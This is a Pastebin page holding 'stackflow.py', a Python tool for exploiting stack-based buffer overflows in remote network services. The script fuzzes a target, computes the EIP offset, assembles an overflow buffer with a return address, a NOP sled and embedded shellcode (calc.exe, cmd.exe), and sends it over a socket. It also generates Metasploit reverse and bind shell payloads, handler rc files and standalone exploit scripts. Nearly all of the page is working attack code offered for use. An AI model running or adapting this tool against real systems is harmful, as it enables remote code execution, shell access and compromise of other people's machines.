API tools faq
paste
Advertisement
opexxx

stackflow.py

opexxx
Mar 10th, 2014
260
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 17.16 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/python
  2. #
  3. # Stackflow.py - Universal stack-based buffer overflow exploitation tool
  4. #  by @d4rkcat github.com/d4rkcat
  5. #
  6. ## This program is free software: you can redistribute it and/or modify
  7. ## it under the terms of the GNU General Public License as published by
  8. ## the Free Software Foundation, either version 3 of the License, or
  9. ## (at your option) any later version.
  10. #
  11. ## This program is distributed in the hope that it will be useful,
  12. ## but WITHOUT ANY WARRANTY; without even the implied warranty of
  13. ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14. ## GNU General Public License at (http://www.gnu.org/licenses/) for
  15. ## more details.
  16.  
  17. from socket import socket, SOCK_STREAM, AF_INET
  18. from os import system, path as opath
  19. from sys import argv, path
  20. from argparse import ArgumentParser
  21. from re import findall
  22.  
  23. parser = ArgumentParser(prog='stackflow', usage='./stackflow.py OPTIONS')
  24. parser.add_argument('-r', "--rhost", type=str, help='rhost')
  25. parser.add_argument('-p', "--rport", type=str, help='rport')
  26. parser.add_argument('-c', "--cmds", type=str, help='commands to send to server before overflow')
  27. parser.add_argument('-v', "--vulncmd", type=str, help='vulnerable command')
  28. parser.add_argument('-o', "--offset", type=int, help='offset to EIP')
  29. parser.add_argument('-ao', "--autooffset", type=str, help='calculate offset from cyclic pattern EIP string')
  30. parser.add_argument('-a', "--returnadd", type=str, help='return address')
  31. parser.add_argument('-n', "--nops", type=int, help='number of NOPS \\x90 x 4 to prepend')
  32. parser.add_argument('-m', "--payload", type=str, help='MSF payload')
  33. parser.add_argument('-i', "--lhost", type=str, help='lhost')
  34. parser.add_argument('-l', "--lport", type=str, help='lport')
  35. parser.add_argument('-f', "--fuzz", type=str, help='Fuzz with cyclic pattern of size')
  36. parser.add_argument('-t', "--calc", action="store_true", help='Send calc.exe shellcode')
  37. parser.add_argument('-t1', "--cmdprompt", action="store_true", help='Send cmd.exe shellcode')
  38. parser.add_argument('-d', "--display", action="store_true", help='Display the exploit buffer')
  39. parser.add_argument('-q', "--quiet", action="store_true", help='Display less cruft')
  40. parser.add_argument('-w', "--timeout", type=int, help='Timeout for socket (Default: 5)')
  41. parser.add_argument('-e', "--cfexport", type=str, help='Export exploit config and metasploit rc file')
  42. parser.add_argument('-g', "--cfimport", type=str, help='Import and run exploit from config file')
  43. parser.add_argument('-s', "--standalone", type=str, help='Export exploit to a standalone python script')
  44. args = parser.parse_args()
  45.  
  46. def generate(payload):      #Generate shellcode
  47.     if payload == 'calc':
  48.         if not quiet:
  49.             print yellowtext + "[>]" + resettext + " Shellcode: \t\t" + greentext + "calc.exe"
  50.         return ("\xbf\xc2\x51\xc1\x05\xda\xd4\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x33\x83\xea\xfc\x31\x7a\x0e\x03\xb8\x5f\x23\xf0\xc0\x88\x2a\xfb"
  51.         "\x38\x49\x4d\x75\xdd\x78\x5f\xe1\x96\x29\x6f\x61\xfa\xc1\x04\x27\xee\x52\x68\xe0\x01\xd2\xc7\xd6\x2c\xe3\xe9\xd6\xe2\x27\x6b"
  52.         "\xab\xf8\x7b\x4b\x92\x33\x8e\x8a\xd3\x29\x61\xde\x8c\x26\xd0\xcf\xb9\x7a\xe9\xee\x6d\xf1\x51\x89\x08\xc5\x26\x23\x12\x15\x96"
  53.         "\x38\x5c\x8d\x9c\x67\x7d\xac\x71\x74\x41\xe7\xfe\x4f\x31\xf6\xd6\x81\xba\xc9\x16\x4d\x85\xe6\x9a\x8f\xc1\xc0\x44\xfa\x39\x33"
  54.         "\xf8\xfd\xf9\x4e\x26\x8b\x1f\xe8\xad\x2b\xc4\x09\x61\xad\x8f\x05\xce\xb9\xc8\x09\xd1\x6e\x63\x35\x5a\x91\xa4\xbc\x18\xb6\x60"
  55.         "\xe5\xfb\xd7\x31\x43\xad\xe8\x22\x2b\x12\x4d\x28\xd9\x47\xf7\x73\xb7\x96\x75\x0e\xfe\x99\x85\x11\x50\xf2\xb4\x9a\x3f\x85\x48"
  56.         "\x49\x04\x79\x03\xd0\x2c\x12\xca\x80\x6d\x7f\xed\x7e\xb1\x86\x6e\x8b\x49\x7d\x6e\xfe\x4c\x39\x28\x12\x3c\x52\xdd\x14\x93\x53"
  57.         "\xf4\x76\x72\xc0\x94\x56\x11\x60\x3e\xa7")
  58.     elif payload == 'cmd':
  59.         if not quiet:
  60.             print yellowtext + "[>]" + resettext + " Shellcode: \t\t" + greentext + "cmd.exe"
  61.         return ("\x6a\x3f\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x54\x8b\x21\xdd\x83\xeb\xfc\xe2\xf4\x3e\xb2\x78\x04\xba\x52\x55\xf9\xa0"
  62.         "\xd0\xa0\xae\x47\x35\xb9\x38\x27\x08\xca\x21\xb6\x7f\x63\xad\x38\xf8\x9f\x45\xd1\x71\x7a\x74\x63\x9c\x14\x17\x81\x73\xcd\x49"
  63.         "\x3a\xaa\x8b\xce\xc3\xd0\x90\xf2\xfb\xde\xae\xba\x80\x38\x33\x79\xd0\x84\x9d\x69\x91\x39\x50\x48\xb0\x3f\x7d\xb5\xe3\xaf\x14"
  64.         "\x17\xa1\x73\xdd\x79\xb0\x28\x14\x05\xc9\x7d\x5f\x31\xfb\xf9\x4f\x15\x3a\xb0\x87\xce\xe9\xd8\x9e\x96\x52\xc4\xd6\xce\x85\x73"
  65.         "\x9e\x93\x80\x07\xae\x85\x1d\x39\x50\x48\xb0\x3f\xa7\xa5\xc4\x0c\x9c\x38\x49\xc3\xe2\x61\xc4\x1a\xc7\xce\xe9\xdc\x9e\x96\xd7"
  66.         "\x73\x93\x0e\x3a\xa0\x83\x44\x62\x73\x9b\xce\xb0\x28\x16\x01\x95\xdc\xc4\x1e\xd0\xa1\xc5\x14\x4e\x18\xc7\x1a\xeb\x73\x8d\xae"
  67.         "\x37\xa5\xf5\x44\x3c\x7d\x26\x45\xb1\xf8\xcf\x2d\x80\x73\xf0\xc2\x4e\x2d\x24\xb5\x04\x5a\xc9\x2d\x17\x6d\x22\xd8\x4e\x2d\xa3"
  68.         "\x43\xcd\xf2\x1f\xbe\x51\x8d\x9a\xfe\xf6\xeb\xed\x2a\xdb\xf8\xcc\xba\x64\x9b\xf2\x21\x91\xd7\xd4\x65\xc5\x91\xeb\x29\xd4\xd8"
  69.         "\xcc\x31\xd0\x9b\xf4\x23\xdd\x97\xe8\x65\xd2\x95\xfb\x65\xe2\x90\xfa\x29\xdd\xd8\xcb\x08\xb1\xf8\x21\xdd")
  70.     elif fuzz:
  71.         if not quiet:
  72.             print yellowtext + "[>]" + resettext + " Shellcode: \t\tCyclic pattern of size " + greentext + fuzz
  73.         print greentext + "\n[+]" + resettext + " Generating cyclic pattern..\n"
  74.         system('$(locate pattern_create.rb | grep work/tools | head -n 1) ' + fuzz + ' > /tmp/fuzz')
  75.         f = open('/tmp/fuzz', 'r')
  76.         return f.read()
  77.         f.close()
  78.     else:
  79.         if not quiet:
  80.             print yellowtext + "[>]" + resettext + " Shellcode: \t\t" + greentext + payload
  81.         print greentext + "\n[+]" + resettext + " Generating " + payload + " shellcode.\n"
  82.         if findall('bind', payload):  # msfvenom is broken!?, use msfpayload until it gets fixed.
  83.             #cmd = str('$(which msfvenom) -p ' + payload + ''' -e x86/shikata_ga_nai -i 2 -b \\x00\\xff\\x0a\\x0d\\xf1\\x20\\x40 -f py LPORT=''' + lport + ''' | tail -n +2 | cut -c 8- | tr -d '\n' | tr -d '"' > /tmp/shlcde''')
  84.             cmd = str('$(which msfpayload) ' + payload + " LPORT='" + lport + "' R | $(which msfencode) -e x86/shikata_ga_nai -b \\x00\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x20\\x40\\xfe\\xff -c 2 -t py | tail -n +2 | cut -c 8- | tr -d '\n' |" + ''' tr -d '"' > /tmp/shlcde''')
  85.         else:
  86.             #cmd = str('$(which msfvenom) -p ' + payload + ''' -e x86/shikata_ga_nai -i 2 -b \\x00\\xff\\x0a\\x0d\\xf1\\x20\\x40 -f py LHOST=''' + lhost + ' LPORT=' + lport + ''' | tail -n +2 | cut -c 8- | tr -d '\n' | tr -d '"' > /tmp/shlcde''')
  87.             cmd = str('$(which msfpayload) ' + payload + " LHOST='" + lhost + "' LPORT='" + lport + "' R | $(which msfencode) -e x86/shikata_ga_nai -b \\x00\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x20\\x40\\xfe\\xff -c 2 -t py | tail -n +2 | cut -c 8- | tr -d '\n' |" + ''' tr -d '"' > /tmp/shlcde''')
  88.         system(cmd)
  89.         f = open('/tmp/shlcde', 'r')
  90.         return f.read()
  91.         f.close()
  92.  
  93. def flipbytes(returnadd):       #Flip return address
  94.     if len(returnadd) == 8:
  95.         returnadd = '\\x' + returnadd[6:8] + '\\x' + returnadd[4:6] + '\\x' + returnadd[2:4] + '\\x' + returnadd[0:2]
  96.         return returnadd.decode('string_escape')
  97.     else:
  98.         print redtext + '[X]' + resettext + ' Return address must be 8 characters!\n'
  99.         exit()
  100.  
  101. def hexstr(rawbytes):       #Make raw bytes into readable string
  102.         s, l = rawbytes.encode('hex'), []
  103.         for i in xrange(0, len(s), 2):
  104.             l.append(s[i:i+2])
  105.         return '\\x' + '\\x'.join(l)
  106.  
  107. def aoffset(autooffset):        #Calculate offset from EIP string
  108.     if len(autooffset) == 4 or len(autooffset) == 8:
  109.         print  bluetext + "\n[*]" + resettext + ' Calculating offset from string "' + autooffset + '"'
  110.         cmd = '$(locate -r pattern_offset.rb | head -n 1) ' + autooffset + " | cut -d ' ' -f 6 > /tmp/offset"
  111.         system(cmd)
  112.         p = open('/tmp/offset', 'r')
  113.         try:
  114.             ofs = int(p.read().strip('\n'))
  115.             print  greentext + "[+]" + resettext + " Offset found: " + str(ofs)
  116.             return ofs
  117.         except:
  118.             print redtext + '[X]' + resettext + ' No offset found for ' + autooffset + '!\n'
  119.             exit()
  120.         p.close()
  121.     else:
  122.         print redtext + '[X]' + resettext + ' Auto-Offset string must be 4 or 8 characters!\n'
  123.         exit()
  124.  
  125. def configimport(configfile):       #Import exploit config
  126.     path.append(datadir + '/exploits')
  127.     global args
  128.     if configfile.endswith('.py'):
  129.         configfile = configfile[:-3]
  130.     try:
  131.         print greentext + '[+]' + resettext + ' Loading ' + configfile + '.py config file\n'
  132.         args = __import__(configfile)
  133.     except:
  134.         print redtext + '[X]' + resettext + ' Config file ' + datadir + '/exploits/' + configfile + '.py not found!\n'
  135.         exit()
  136.  
  137. def configexport(configfile):       #Export exploit config and rc file
  138.     system('mkdir -p ' + datadir + '/exploits')
  139.     print bluetext + '\n[*]' + resettext + ' Preparing exploit for export.'
  140.     cf, rc = open(datadir + '/exploits/' + configfile + '.py', 'w'), False
  141.     if not fuzz and not calc and not cmdprompt:
  142.         if not quiet:
  143.             if vulncmd:
  144.                 print  yellowtext + "[>]" + resettext + " Vulnerable command:\t" + greentext + vulncmd
  145.             print  yellowtext + "[>]" + resettext + " Offset:\t\t" + greentext + str(args.offset)
  146.             print  yellowtext + "[>]" + resettext + " Return address: \t" + greentext + args.returnadd
  147.             print  yellowtext + "[>]" + resettext + " Nops:\t\t" + greentext + str(nops * 4)
  148.        
  149.         rc, sc, pb = open(datadir + '/exploits/' + configfile + '.rc', 'w'), generate(payload), False
  150.         cf.write("shellcode='" + sc + "'\n")
  151.         if findall('bind', payload):
  152.             rc.write('python ' + datadir + '/' + scriptname + ' -g ' + configfile + '\n')
  153.             pb = True
  154.         rc.write('use exploit/multi/handler\nset PAYLOAD ' + payload + '\n')
  155.         if pb:
  156.             rc.write('set RHOST ' + rhost + '\n')
  157.         else:
  158.             rc.write('set LHOST ' + lhost + '\n')
  159.         rc.write('set LPORT ' + lport + '\n')
  160.         if findall('meterpreter', payload) and findall('windows', payload):
  161.             rc.write('set AutoRunScript post/windows/manage/migrate\n')
  162.         if pb:
  163.             rc.write('sleep 2\n')
  164.         rc.write('exploit -j\n')
  165.         if not pb:
  166.             rc.write('python ' + datadir + '/' + scriptname + ' -g ' + configfile + '\n')  
  167.         rc.close()
  168.         print greentext + '[+]' + resettext + ' Metasploit rc file written to ' + datadir + '/exploits/' + configfile + '.rc\n' + greentext + '[+]' + resettext + ' Run the exploit and handler: msfconsole -r ' + configfile + '.rc\n'
  169.  
  170.     if fuzz:
  171.         pat = generate('fuzz')
  172.         cf.write("pattern='" + pat.strip('\n') + "'\n")
  173.  
  174.     conf = str(args).replace('Namespace', '').strip('(').strip(')').split(',')
  175.     for var in conf:
  176.         cf.write(var.strip() + '\n')
  177.     cf.close()
  178.     if not rc:
  179.         print greentext + '\n[+]' + resettext + ' Exploit config file written to ' + datadir + '/exploits/' + configfile + '.py\n'
  180.  
  181. def selfexport(exploitfile):        #Export exploit as a standalone python script
  182.     system('mkdir -p ' + datadir + '/standalone')
  183.     print bluetext + '\n[*]' + resettext + ' Preparing exploit for standalone export.'
  184.     se = open(datadir + '/standalone/' + exploitfile + '.py', 'w')
  185.     se.write('#!/usr/bin/python\nfrom socket import socket, SOCK_STREAM, AF_INET\nes = socket(AF_INET, SOCK_STREAM)\nes.settimeout(5)\n')
  186.     se.write('es.connect(("' + rhost + '", ' + rport + '))\nprint es.recv(2048)\n')
  187.     if args.cmds:
  188.         cmds = args.cmds.strip('\n').split('&')
  189.         for cmd in cmds:
  190.             se.write("es.send('" + cmd + "\\r\\n')\nprint es.recv(2048)\n")
  191.     if not fuzz:
  192.         if calc:
  193.             sc = generate('calc')
  194.         elif cmdprompt:
  195.             sc = generate('cmd')
  196.         else:
  197.             sc = generate(payload)
  198.        
  199.         if vulncmd:
  200.             cmd = "ebuf = '" + vulncmd + " ' + 'A' * " + str(buflen) + " + '" + hexstr(returnadd) + '\\x90' * nops * 4 + sc.strip('\n') + "'\n"
  201.         else:
  202.             cmd = "ebuf = 'A' * " + str(buflen) + " + '" + hexstr(returnadd) + '\\x90' * nops * 4 + sc.strip('\n') + "'\n"
  203.     else:
  204.         sc = generate('fuzz')
  205.         if vulncmd:
  206.             cmd = "ebuf = '" + vulncmd + " " + sc.strip('\n') + "'\n"
  207.         else:
  208.             cmd = "ebuf = '" + sc.strip('\n') + "'\n"
  209.     se.write(cmd)
  210.     se.write('es.send(ebuf)\nes.settimeout(0.5)\n''try:\n\tprint es.recv(2048)\nexcept:\n\tpass\nes.close()\n')
  211.     if fuzz:
  212.         se.write('print "[*] Fuzzing buffer of size ' + fuzz + ' sent."\n')
  213.     elif calc:
  214.         se.write('print "[*] calc.exe shellcode sent."\n')
  215.     elif cmdprompt:
  216.         se.write('print "[*] cmd.exe shellcode sent."\n')
  217.     else:
  218.         if findall('bind', payload):
  219.             se.write('print """[*] ' + payload + ' sent.\n[*] RHOST: ' + rhost + '\n[*] LPORT: ' + lport + '"""\n')
  220.         else:
  221.             se.write('print """[*] ' + payload + ' sent.\n[*] LHOST: ' + lhost + '\n[*] LPORT: ' + lport + '"""\n')
  222.     se.close()
  223.     print greentext + '[+]' + resettext + ' Exploit saved to ' + datadir + '/standalone/' + exploitfile + '.py'
  224.  
  225.  
  226. def communicate(rhost,rport,payload,buflen,lhost,lport):        #Communicate with the server
  227.     es = socket(AF_INET, SOCK_STREAM)
  228.     es.settimeout(timeout)
  229.     if not quiet:
  230.         print bluetext + '[>]' + resettext + ' Attempting to connect to ' + rhost + ':' + rport
  231.     try:
  232.         es.connect((rhost, int(rport)))
  233.         if not quiet:
  234.             print greentext + '[<] ' + resettext + es.recv(2048)
  235.         else:
  236.             es.recv(2048)
  237.         print  greentext + "[+]" + resettext + " Connection established."
  238.     except Exception, e:
  239.         print redtext + "\n[X]" + resettext + " Could not connect to " + rhost + ":" + rport + '\n'
  240.         print e
  241.         exit()
  242.  
  243.     if args.cmds:
  244.         cmds = args.cmds.strip('\n').split('&')
  245.         for cmd in cmds:
  246.             es.send(cmd + '\r\n')
  247.             try:
  248.                 if not quiet:
  249.                     print bluetext + '[>] ' + resettext + cmd
  250.                     print greentext + '[<] ' + resettext + es.recv(2048)
  251.                 else:
  252.                     es.recv(2048)
  253.             except:
  254.                 pass
  255.  
  256.     if vulncmd:
  257.         buf = vulncmd + ' '
  258.     else:
  259.         buf = ''
  260.  
  261.     if fuzz:
  262.         try:
  263.             if args.pattern:
  264.                 sc = args.pattern
  265.                 buf += sc
  266.         except:
  267.             sc = generate('fuzz')
  268.             buf += sc
  269.     else:
  270.         a, b = divmod(buflen, len('Pwn3D!'))
  271.         buf += 'Pwn3D!' * a + 'Pwn3D!'[:b]
  272.         buf += returnadd
  273.         buf += "\x90" * 4 * nops
  274.         ch = True
  275.  
  276.         if not quiet:
  277.             if vulncmd:
  278.                 print  yellowtext + "[>]" + resettext + " Vulnerable command:\t" + greentext + vulncmd
  279.             print  yellowtext + "[>]" + resettext + " Offset:\t\t" + greentext + str(buflen)
  280.             print  yellowtext + "[>]" + resettext + " Return address: \t" + greentext + args.returnadd
  281.             print  yellowtext + "[>]" + resettext + " Nops:\t\t" + greentext + str(nops * 4) + resettext
  282.  
  283.         if calc:
  284.             sc = generate('calc')
  285.  
  286.         elif cmdprompt:
  287.             sc = generate('cmd')
  288.  
  289.         else:
  290.             try:
  291.                 sc = args.shellcode
  292.             except:
  293.                 sc, ch = generate(payload), False
  294.         buf += sc.decode('string_escape')
  295.         if ch:
  296.             sc = hexstr(sc)
  297.  
  298.     if display:
  299.         print bluetext + '\n[*]' + resettext + ' Exploit Buffer:'
  300.         if not fuzz:
  301.             if vulncmd:
  302.                 print "ebuf = '" + vulncmd + " ' + 'A' * " + str(buflen) + " + '" + hexstr(returnadd) + '\\x90' * nops * 4 +  sc.strip('\n') + "'"
  303.             else:
  304.                 print "ebuf = 'A' * " + str(buflen) + " + '" + hexstr(returnadd) + '\\x90' * nops * 4 + sc.strip('\n') + "'"
  305.         else:
  306.             if vulncmd:
  307.                 print "ebuf = '" + vulncmd + " " + sc.strip('\n') + "'"
  308.             else:
  309.                 print "ebuf = '" + sc.strip('\n') + "'"
  310.     try:
  311.         es.send(buf)
  312.         if not fuzz and not calc and not cmdprompt:
  313.             if findall('bind', payload):
  314.                 print greentext + '\n[+]' + resettext + ' Payload ' + greentext + payload + resettext + ' should be listening on ' + greentext + rhost + ':' + lport + '\n' + resettext
  315.             else:
  316.                 print greentext + '\n[+]' + resettext + ' Payload ' + greentext + payload + resettext + ' should be connecting back to ' + greentext + lhost + ':' + lport + '\n' + resettext
  317.         elif calc:
  318.             print greentext + '\n[+]' + resettext + ' calc.exe should be running, enjoy your calculations..\n'
  319.         elif cmdprompt:
  320.             print greentext + '\n[+]' + resettext + ' cmd.exe should be running, enjoy your session..\n'
  321.         else:
  322.             print greentext + '\n[Z]' + resettext + ' Cyclic pattern fuzzing buffer of size ' + fuzz + ' sent..\n'
  323.     except Exception, e:
  324.         print redtext + '[X]' + resettext + ' Possible error sending exploit!\n'
  325.         print e
  326.  
  327.     es.settimeout(0.5)
  328.     try:
  329.         es.recv(2048)
  330.     except:
  331.         pass
  332.     es.close()
  333.  
  334.  
  335. datadir = opath.dirname(opath.realpath(__file__))
  336. scriptname = argv[0].split('/')[1]
  337. bluetext = '\033[01;34m'
  338. greentext = '\033[01;32m'
  339. redtext = '\033[01;31m'
  340. yellowtext = '\033[01;33m' 
  341. resettext = '\033[0m'
  342.  
  343. if args.cfimport:
  344.     configimport(args.cfimport)
  345.  
  346. lhost = args.lhost
  347. lport = args.lport
  348. rhost = args.rhost
  349. rport = args.rport
  350. payload = args.payload
  351. buflen = args.offset
  352. fuzz = args.fuzz
  353. calc = args.calc
  354. cmdprompt = args.cmdprompt
  355. display = args.display
  356. vulncmd = args.vulncmd
  357. returnadd = args.returnadd
  358. autooffset = args.autooffset
  359. quiet = args.quiet
  360. timeout = 5
  361. nops = 3
  362.  
  363. if args.timeout:
  364.     timeout = args.timeout
  365.  
  366. if args.nops:
  367.     nops = args.nops
  368.  
  369. if not fuzz:
  370.     if not returnadd:
  371.         print redtext + '[X]' + resettext + ' You must specify the return address!\n'
  372.         exit()
  373.     if not buflen and not autooffset:
  374.         print redtext + '[X]' + resettext + ' You must specify the offset or offset string!\n'
  375.         exit()
  376.     if not calc and not cmdprompt:
  377.         if not lport or not payload:
  378.             print redtext + '[X]' + resettext + ' You must specify the lport and payload!\n'
  379.             exit()
  380.  
  381. if not rhost or not rport:
  382.     print redtext + '[X]' + resettext + ' You must specify the remote host and remote port!\n'
  383.     exit()
  384.  
  385. if returnadd:
  386.     returnadd = flipbytes(returnadd)
  387.  
  388. if autooffset:
  389.     args.offset, args.autooffset = aoffset(autooffset), None
  390.     buflen = args.offset
  391.  
  392. if args.cfexport:
  393.     cf = args.cfexport
  394.     args.cfexport = None
  395.     configexport(cf)
  396.  
  397. elif args.standalone:
  398.     selfexport(args.standalone)
  399.  
  400. else:
  401.     communicate(rhost,rport,payload,buflen,lhost,lport)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!